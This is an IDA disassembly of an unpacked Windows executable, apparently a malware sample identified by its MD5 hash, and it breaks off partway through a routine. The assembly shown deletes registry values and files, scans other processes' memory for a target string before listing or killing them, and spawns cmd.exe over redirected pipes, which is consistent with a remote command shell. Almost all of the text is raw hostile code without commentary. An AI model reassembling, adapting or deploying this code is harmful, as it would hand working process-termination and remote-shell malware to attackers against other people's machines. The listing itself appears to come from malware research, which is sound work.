;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	AA94CAF089BCB7C8EB0AAA15604717D1

; File Name   :	u:\work\aa94caf089bcb7c8eb0aaa15604717d1_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00016000 (  90112.)
; Offset to raw	data for section: 00001000
; Flags	E00000A0: Text Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401146+31p
					; sub_401146+43p ...

var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40101A
; ---------------------------------------------------------------------------


loc_401013:				; CODE XREF: sub_401000+13Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40101A:				; CODE XREF: sub_401000+11j
		mov	eax, [ebp+var_4]
		cmp	ds:off_418000[eax*4], 0
		jz	loc_401141
		mov	eax, [ebp+var_4]
		push	ds:off_418000[eax*4]
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_110]
		push	eax
		push	3
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_417008	; RegOpenKeyExA
		and	[ebp+var_220], 0
		jmp	short loc_401081
; ---------------------------------------------------------------------------


loc_401074:				; CODE XREF: sub_401000:loc_40112Bj
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_401081:				; CODE XREF: sub_401000+72j
		mov	[ebp+var_21C], 104h
		mov	[ebp+var_224], 104h
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		push	0
		lea	eax, [ebp+var_21C]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_220]
		push	[ebp+var_110]
		call	ds:dword_417000	; RegEnumValueA
		mov	[ebp+var_264], eax
		cmp	[ebp+var_264], 0
		jz	short loc_4010DD
		jmp	short loc_401130
; ---------------------------------------------------------------------------


loc_4010DD:				; CODE XREF: sub_401000+D9j
		cmp	[ebp+var_114], 1
		jnz	short loc_40112B
		push	[ebp+arg_4]
		push	[ebp+var_224]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_407ACA
		add	esp, 0Ch
		mov	[ebp+var_268], eax
		cmp	[ebp+var_268], 0
		jz	short loc_40112B
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_110]
		call	ds:dword_417004	; RegDeleteValueA
		test	eax, eax
		jnz	short loc_40112B
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40112B:				; CODE XREF: sub_401000+E4j
					; sub_401000+10Bj ...
		jmp	loc_401074
; ---------------------------------------------------------------------------


loc_401130:				; CODE XREF: sub_401000+DBj
		push	[ebp+var_110]
		call	ds:dword_417028	; RegCloseKey
		jmp	loc_401013
; ---------------------------------------------------------------------------


loc_401141:				; CODE XREF: sub_401000+25j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401146	proc near		; CODE XREF: sub_401244+459p
					; sub_40A9CF+A72p

var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	80h
		push	[ebp+arg_0]
		call	ds:dword_4170A8	; SetFileAttributesA
		test	eax, eax
		jnz	short loc_401166
		jmp	locret_401242
; ---------------------------------------------------------------------------


loc_401166:				; CODE XREF: sub_401146+19j
		push	[ebp+arg_0]
		call	ds:dword_4170AC	; DeleteFileA
		push	[ebp+arg_0]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+arg_0]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	locret_401242
		push	104h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_10C], eax
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------


loc_4011CE:				; CODE XREF: sub_401146:loc_40121Aj
		mov	eax, [ebp+var_10C]
		dec	eax
		mov	[ebp+var_10C], eax


loc_4011DB:				; CODE XREF: sub_401146+86j
		cmp	[ebp+var_10C], 0
		jz	short loc_40121C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_10C]
		movsx	eax, byte ptr [eax-1]
		cmp	eax, 5Ch
		jnz	short loc_40121A
		push	104h
		mov	eax, [ebp+var_10C]
		lea	eax, [ebp+eax+var_108]
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40121C
; ---------------------------------------------------------------------------


loc_40121A:				; CODE XREF: sub_401146+AEj
		jmp	short loc_4011CE
; ---------------------------------------------------------------------------


loc_40121C:				; CODE XREF: sub_401146+9Cj
					; sub_401146+D2j
		lea	eax, [ebp+var_108]
		push	eax
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx

locret_401242:				; CODE XREF: sub_401146+1Bj
					; sub_401146+56j
		leave
		retn
sub_401146	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401244	proc near		; DATA XREF: sub_4017AA+9Do

var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= dword	ptr -3D8h
var_3D4		= dword	ptr -3D4h
var_3D0		= dword	ptr -3D0h
var_3CC		= byte ptr -3CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= byte ptr -2A8h
var_2A7		= dword	ptr -2A7h
var_2A3		= byte ptr -2A3h
var_1A3		= byte ptr -1A3h
var_B		= byte ptr -0Bh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3E8h
		push	esi
		push	edi
		push	2ACh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2AC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_40129D
		lea	eax, [ebp+var_2A3]
		push	eax
		mov	eax, [ebp+var_2AC]
		push	dword ptr [eax]
		push	offset dword_418144
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_40129D:				; CODE XREF: sub_401244+34j
		call	sub_406041
		mov	[ebp+var_2B4], eax
		cmp	[ebp+var_2B4], 0
		jnz	short loc_4012C4
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4017A4
; ---------------------------------------------------------------------------


loc_4012C4:				; CODE XREF: sub_401244+6Bj
		push	10000h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2B8], eax
		and	[ebp+var_2BC], 0
		and	[ebp+var_2B0], 0
		jmp	short loc_4012F2
; ---------------------------------------------------------------------------


loc_4012E5:				; CODE XREF: sub_401244+E2j
					; sub_401244+12Bj ...
		mov	eax, [ebp+var_2B0]
		inc	eax
		mov	[ebp+var_2B0], eax


loc_4012F2:				; CODE XREF: sub_401244+9Fj
		mov	eax, [ebp+var_2B4]
		mov	ecx, [ebp+var_2B0]
		cmp	ecx, [eax]
		jge	loc_401710
		mov	esi, [ebp+var_2B0]
		imul	esi, 114h
		mov	eax, [ebp+var_2B4]
		mov	edi, [eax+4]
		call	ds:dword_4170E8	; GetCurrentProcessId
		cmp	[edi+esi], eax
		jnz	short loc_401328
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------


loc_401328:				; CODE XREF: sub_401244+E0j
		push	104h
		lea	eax, [ebp+var_3CC]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_3CC]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_401374
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401374:				; CODE XREF: sub_401244+129j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		movzx	eax, [ebp+var_2A8]
		neg	eax
		sbb	eax, eax
		add	eax, 11h
		push	eax
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_2C4], eax
		cmp	[ebp+var_2C4], 0
		jnz	short loc_4013B7
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_4013B7:				; CODE XREF: sub_401244+16Cj
		and	[ebp+var_2C0], 0
		and	[ebp+var_2C8], 0


loc_4013C5:				; CODE XREF: sub_401244:loc_4016FAj
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		cmp	eax, 10000h
		jbe	short loc_4013F7
		mov	[ebp+var_3E8], 10000h
		jmp	short loc_40141C
; ---------------------------------------------------------------------------


loc_4013F7:				; CODE XREF: sub_401244+1A5j
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+8]
		sub	eax, [ebp+var_2C0]
		mov	[ebp+var_3E8], eax


loc_40141C:				; CODE XREF: sub_401244+1B1j
		mov	eax, [ebp+var_3E8]
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_3D0]
		push	[ebp+var_2B8]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax+4]
		add	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+var_2C4]
		call	ds:dword_417098	; ReadProcessMemory
		mov	[ebp+var_3D4], eax
		cmp	[ebp+var_3D4], 0
		jz	loc_4016C5
		cmp	[ebp+var_2C8], 0
		jz	loc_4016C5
		and	[ebp+var_3D8], 0
		and	[ebp+var_3DC], 0


loc_401495:				; DATA XREF: UPX1:0041AD00o
		jmp	short loc_4014A4
; ---------------------------------------------------------------------------


loc_401497:				; CODE XREF: sub_401244:loc_4015DBj
		mov	eax, [ebp+var_3DC]
		inc	eax
		mov	[ebp+var_3DC], eax


loc_4014A4:				; CODE XREF: sub_401244:loc_401495j
		mov	eax, [ebp+var_2C8]
		sub	eax, [ebp+var_2A7]
		cmp	[ebp+var_3DC], eax
		ja	loc_4015E0
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_401514
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+var_2A3]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	loc_4015DB


loc_401514:				; CODE XREF: sub_401244+290j
					; sub_401244+2ADj
		mov	[ebp+var_3E0], 1
		jmp	short loc_40152D
; ---------------------------------------------------------------------------


loc_401520:				; CODE XREF: sub_401244:loc_4015D6j
		mov	eax, [ebp+var_3E0]
		inc	eax
		mov	[ebp+var_3E0], eax


loc_40152D:				; CODE XREF: sub_401244+2DAj
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		test	eax, eax
		jnz	short loc_401556
		mov	eax, [ebp+var_2B8]
		add	eax, [ebp+var_3DC]
		mov	[ebp+var_3D8], eax
		jmp	loc_40179F
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401244+2F9j
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		mov	eax, [ebp+var_3E0]
		movsx	eax, [ebp+eax+var_2A3]
		mov	ecx, [ebp+var_3DC]
		add	ecx, [ebp+var_3E0]
		mov	edx, [ebp+var_2B8]
		movsx	ecx, byte ptr [edx+ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jz	short loc_4015D6
		jmp	short loc_4015DB
; ---------------------------------------------------------------------------


loc_4015D6:				; CODE XREF: sub_401244+338j
					; sub_401244+363j ...
		jmp	loc_401520
; ---------------------------------------------------------------------------


loc_4015DB:				; CODE XREF: sub_401244+2CAj
					; sub_401244+390j
		jmp	loc_401497
; ---------------------------------------------------------------------------


loc_4015E0:				; CODE XREF: sub_401244+272j
					; sub_401244:loc_40179Fj
		cmp	[ebp+var_3D8], 0
		jz	loc_4016C5
		mov	eax, [ebp+var_2BC]
		inc	eax
		mov	[ebp+var_2BC], eax
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401675
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	al, [ebp+var_B]
		mov	[ebp+var_3E4], al
		and	[ebp+var_B], 0
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_41811C
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		mov	al, [ebp+var_3E4]
		mov	[ebp+var_B], al
		jmp	short loc_4016A3
; ---------------------------------------------------------------------------


loc_401675:				; CODE XREF: sub_401244+3BFj
		push	0
		push	[ebp+var_2C4]
		call	ds:dword_4170A0	; TerminateProcess
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_401146
		pop	ecx


loc_4016A3:				; CODE XREF: sub_401244+42Fj
		mov	eax, [ebp+var_2AC]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4016C0
		push	[ebp+var_2C4]
		call	ds:dword_4170A4	; CloseHandle
		jmp	loc_40179A
; ---------------------------------------------------------------------------


loc_4016C0:				; CODE XREF: sub_401244+469j
		jmp	loc_401795
; ---------------------------------------------------------------------------


loc_4016C5:				; CODE XREF: sub_401244+230j
					; sub_401244+23Dj ...
		mov	eax, [ebp+var_2C0]
		add	eax, [ebp+var_3D0]
		mov	[ebp+var_2C0], eax
		mov	eax, [ebp+var_2B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_2B4]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_2C0]
		cmp	edx, [ecx+eax+8]
		jnz	short loc_4016FA
		jmp	short loc_4016FF
; ---------------------------------------------------------------------------


loc_4016FA:				; CODE XREF: sub_401244+4B2j
		jmp	loc_4013C5
; ---------------------------------------------------------------------------


loc_4016FF:				; CODE XREF: sub_401244+4B4j
					; sub_401244:loc_401795j
		push	[ebp+var_2C4]
		call	ds:dword_4170A4	; CloseHandle
		jmp	loc_4012E5
; ---------------------------------------------------------------------------


loc_401710:				; CODE XREF: sub_401244+BCj
					; sub_401244:loc_40179Aj
		push	[ebp+var_2B4]
		call	sub_40636E
		pop	ecx
		push	[ebp+var_2B8]
		call	sub_416B4C	; free
		pop	ecx
		movzx	eax, [ebp+var_2A8]
		test	eax, eax
		jz	short loc_401785
		push	3E8h
		call	ds:dword_41709C	; Sleep
		cmp	[ebp+var_2BC], 0
		jnz	short loc_401764
		lea	eax, [ebp+var_2A3]
		push	eax
		push	offset dword_4180F8
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_401785
; ---------------------------------------------------------------------------


loc_401764:				; CODE XREF: sub_401244+501j
		lea	eax, [ebp+var_2A3]
		push	eax
		push	[ebp+var_2BC]
		push	offset dword_4180CC
		lea	eax, [ebp+var_1A3]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_401785:				; CODE XREF: sub_401244+4EDj
					; sub_401244+51Ej
		push	[ebp+var_2AC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_4017A4
; ---------------------------------------------------------------------------


loc_401795:				; CODE XREF: sub_401244:loc_4016C0j
		jmp	loc_4016FF
; ---------------------------------------------------------------------------


loc_40179A:				; CODE XREF: sub_401244+477j
		jmp	loc_401710
; ---------------------------------------------------------------------------


loc_40179F:				; CODE XREF: sub_401244+30Dj
		jmp	loc_4015E0
; ---------------------------------------------------------------------------


loc_4017A4:				; CODE XREF: sub_401244+7Bj
					; sub_401244+54Fj
		pop	edi
		pop	esi
		leave
		retn	4
sub_401244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017AA	proc near		; CODE XREF: sub_40A9CF+AA1p
					; sub_40A9CF+AD2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_4017C2
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		test	eax, eax
		jnz	short loc_4017C7


loc_4017C2:				; CODE XREF: sub_4017AA+9j
		jmp	locret_401854
; ---------------------------------------------------------------------------


loc_4017C7:				; CODE XREF: sub_4017AA+16j
		push	2ACh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4017DD
		jmp	short locret_401854
; ---------------------------------------------------------------------------


loc_4017DD:				; CODE XREF: sub_4017AA+2Fj
		mov	eax, [ebp+var_4]
		mov	cl, [ebp+arg_8]
		mov	[eax+4], cl
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+5], eax
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 9
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 109h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		movzx	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_401830
		mov	[ebp+var_8], offset aListing ; "Listing"
		jmp	short loc_401837
; ---------------------------------------------------------------------------


loc_401830:				; CODE XREF: sub_4017AA+7Bj
		mov	[ebp+var_8], offset aKilling ; "Killing"


loc_401837:				; CODE XREF: sub_4017AA+84j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	offset dword_418174
		push	0
		push	[ebp+var_4]
		push	offset sub_401244
		call	sub_4095A4
		add	esp, 18h

locret_401854:				; CODE XREF: sub_4017AA:loc_4017C2j
					; sub_4017AA+31j
		leave
		retn
sub_4017AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401856	proc near		; CODE XREF: sub_401981+A8p
					; sub_401981+E1p ...
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_41DEF4, 0FFFFFFFFh
		jz	short loc_40186E
		push	ds:dword_41DEF4
		call	ds:dword_4170A4	; CloseHandle


loc_40186E:				; CODE XREF: sub_401856+Aj
		cmp	ds:dword_41DEE8, 0FFFFFFFFh
		jz	short loc_401883
		push	ds:dword_41DEE8
		call	ds:dword_4170A4	; CloseHandle


loc_401883:				; CODE XREF: sub_401856+1Fj
		cmp	ds:dword_41DEEC, 0FFFFFFFFh
		jz	short loc_401898
		push	ds:dword_41DEEC
		call	ds:dword_4170A4	; CloseHandle


loc_401898:				; CODE XREF: sub_401856+34j
		cmp	ds:dword_41DEF0, 0FFFFFFFFh
		jz	short loc_4018AD
		push	ds:dword_41DEF0
		call	ds:dword_4170A4	; CloseHandle


loc_4018AD:				; CODE XREF: sub_401856+49j
		pop	ebp
		retn
sub_401856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018AF	proc near		; CODE XREF: sub_401981+28Ap
					; sub_401981+395p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jnz	short loc_4018D4
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401922


loc_4018D4:				; CODE XREF: sub_4018AF+15j
					; sub_4018AF:loc_401920j
		push	32h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+189h]
		test	eax, eax
		jz	short loc_4018FE
		call	sub_416B64	; clock
		sub	eax, ds:dword_41DEFC
		cmp	eax, 1F4h
		jb	short loc_4018FE
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_4018FE:				; CODE XREF: sub_4018AF+39j
					; sub_4018AF+4Bj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Dh]
		test	eax, eax
		jz	short loc_401920
		call	sub_416B64	; clock
		sub	eax, ds:dword_41DEFC
		cmp	eax, 0FAh
		jb	short loc_401920
		jmp	short loc_401922
; ---------------------------------------------------------------------------


loc_401920:				; CODE XREF: sub_4018AF+5Bj
					; sub_4018AF+6Dj
		jmp	short loc_4018D4
; ---------------------------------------------------------------------------


loc_401922:				; CODE XREF: sub_4018AF+23j
					; sub_4018AF+4Dj ...
		call	sub_416B64	; clock
		mov	ds:dword_41DEFC, eax
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_401942
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_401957


loc_401942:				; CODE XREF: sub_4018AF+86j
		push	offset dword_4181A4
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_40196E
; ---------------------------------------------------------------------------


loc_401957:				; CODE XREF: sub_4018AF+91j
		push	200h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_40196E:				; CODE XREF: sub_4018AF+A6j
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx
		leave
		retn
sub_4018AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401981	proc near		; DATA XREF: sub_401D6E+88o

var_730		= dword	ptr -730h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_714		= dword	ptr -714h
var_510		= byte ptr -510h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_334		= dword	ptr -334h
var_330		= word ptr -330h
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= byte ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= byte ptr -30Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 730h
		push	3A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_714]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_416B64	; clock
		sub	eax, 1F4h
		mov	ds:dword_41DEFC, eax
		push	0
		lea	eax, [ebp+var_30C]
		push	eax
		push	104h
		push	0
		push	offset aCmd_exe	; "cmd.exe"
		push	0
		call	ds:dword_41706C	; SearchPathA
		test	eax, eax
		jnz	short loc_4019ED
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_4019ED:				; CODE XREF: sub_401981+57j
		mov	[ebp+var_318], 0Ch
		mov	[ebp+var_310], 1
		and	[ebp+var_314], 0
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		call	ds:dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A41
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A41:				; CODE XREF: sub_401981+A6j
		push	0
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_36C]
		push	eax
		lea	eax, [ebp+var_728]
		push	eax
		call	ds:dword_417070	; CreatePipe
		test	eax, eax
		jnz	short loc_401A7A
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401A7A:				; CODE XREF: sub_401981+DFj
		push	3
		push	0
		push	0
		push	offset dword_41DEF0
		call	ds:dword_417074	; GetCurrentProcess
		push	eax
		push	[ebp+var_36C]
		call	ds:dword_417074	; GetCurrentProcess
		push	eax
		call	ds:dword_4170F0	; DuplicateHandle
		test	eax, eax
		jnz	short loc_401ABB
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_401D35
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_401981+120j
		push	10h
		push	0
		lea	eax, [ebp+var_724]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	44h
		push	0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_360], 44h
		mov	[ebp+var_334], 101h
		and	[ebp+var_330], 0
		mov	eax, [ebp+var_728]
		mov	[ebp+var_328], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_324], eax
		mov	eax, [ebp+var_368]
		mov	[ebp+var_320], eax
		lea	eax, [ebp+var_724]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	0
		push	0
		push	0
		push	1
		push	0
		push	0
		push	offset byte_41DF00
		lea	eax, [ebp+var_30C]
		push	eax
		call	ds:dword_41707C	; CreateProcessA
		test	eax, eax
		jnz	short loc_401B69
		call	sub_401856
